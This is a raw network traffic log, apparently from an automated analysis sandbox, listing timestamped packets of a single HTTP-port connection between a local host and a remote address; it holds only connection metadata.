Sep 23, 2023 17:53:23.429040909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.429056883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.429071903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.429074049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.429091930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.429800034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.429816008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.429831982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.429851055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.429888964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.429908037 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.430533886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.430550098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.430583954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.430603981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.430640936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.430680037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.431349993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.431395054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.431421041 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.431705952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.431723118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.431744099 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.431833982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.431868076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.431874037 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.431906939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.431946993 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.432691097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.432708025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.432749033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.432774067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.432790995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.432806969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.432826996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.433710098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.433752060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.433815956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.433831930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.433846951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.433870077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.433871984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.433921099 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.434633017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.434675932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.434693098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.434717894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.434782982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.434819937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.434840918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.435734034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.435803890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.435827017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.435856104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.435870886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.435894012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.435942888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.435980082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.436558008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.436599016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.436650038 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.436717987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.436759949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.436775923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.436800957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.437546968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.437562943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.437601089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.437613010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.437650919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.437671900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.437711954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.437748909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.438484907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.438500881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.438517094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.438539028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.438565969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.438602924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.438607931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.439631939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.439649105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.439673901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.439673901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.439690113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.439706087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.439711094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.439739943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.440577030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.440603018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.440628052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.440644979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.440653086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.440660954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.440687895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.441386938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.441420078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.441427946 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.441462040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.441497087 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.441545963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.441561937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.441598892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.442300081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.442316055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.442353010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.442372084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.442468882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.442486048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.442507982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.443260908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.443278074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.443309069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.443336010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.443352938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.443368912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.443372965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.443402052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.444341898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.444359064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.444381952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.444410086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.444426060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.444442034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.444463015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.445167065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.445183992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.445214033 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.445244074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.445291042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.445298910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.445314884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.445355892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.446261883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.446288109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.446314096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.446330070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.446330070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.446362019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.446369886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.447135925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.447153091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.447180986 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.447191954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.447208881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.447228909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.447240114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.447276115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.448084116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.448126078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.448142052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.448162079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.448164940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.448194027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.448206902 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.449002028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.449055910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.449081898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.449098110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.449112892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.449131966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.449182987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.449219942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.449986935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.450004101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.450035095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.450054884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.450093985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.450134039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.450136900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.450965881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451018095 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.451029062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451045990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451062918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451078892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451086998 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.451118946 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.451272964 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.451890945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451931000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451946974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451977015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.451978922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.451994896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.452014923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.452748060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.452790976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.452905893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.452922106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.452965021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.452991009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.453006983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.453062057 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.453224897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.453771114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.453788042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.453802109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.453819036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.453839064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.453866959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.453867912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.454680920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.454711914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.454724073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.454727888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.454763889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.454785109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.454801083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.454833984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.455163002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.455600977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.455616951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.455655098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.455728054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.455761909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.455796003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.455816984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.456615925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.456631899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.456646919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.456660032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.456664085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.456681013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.456691027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.456717014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.457075119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.457525015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.457540989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.457556963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.457573891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.457586050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.457611084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.457614899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.458440065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.458455086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.458486080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.458512068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.458554029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.458561897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.458636999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.458679914 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.459255934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.459383011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.459399939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.459433079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.459434032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.459450960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.459465981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.459490061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.460457087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.460505009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.460515022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.460545063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.460578918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.460598946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.460684061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.460724115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.461328983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.461344957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.461360931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.461376905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.461389065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.461400986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.461419106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.461755991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.462032080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.462071896 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.462081909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.462111950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.462127924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.462142944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.462150097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.462178946 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.463059902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463083029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463099003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463115931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463121891 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.463151932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.463176012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463886023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463923931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463927984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.463942051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463958025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463973999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.463999987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.464026928 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.464103937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.464828968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.464848042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.464863062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.464895964 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.464917898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.464934111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.464956045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.465717077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.465751886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.465759993 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.465766907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.465783119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.465801001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.465856075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.465894938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.466500044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.466651917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.466669083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.466685057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.466717005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.466739893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.466756105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.466777086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.467542887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.467559099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.467573881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.467582941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.467603922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.467612028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.467622042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.467657089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.468482971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.468508005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.468554020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.468568087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.468652010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.468667984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.468689919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.469373941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.469391108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.469415903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.469455957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.469474077 CEST	80	49781	5.42.65.80	192.168.2.4
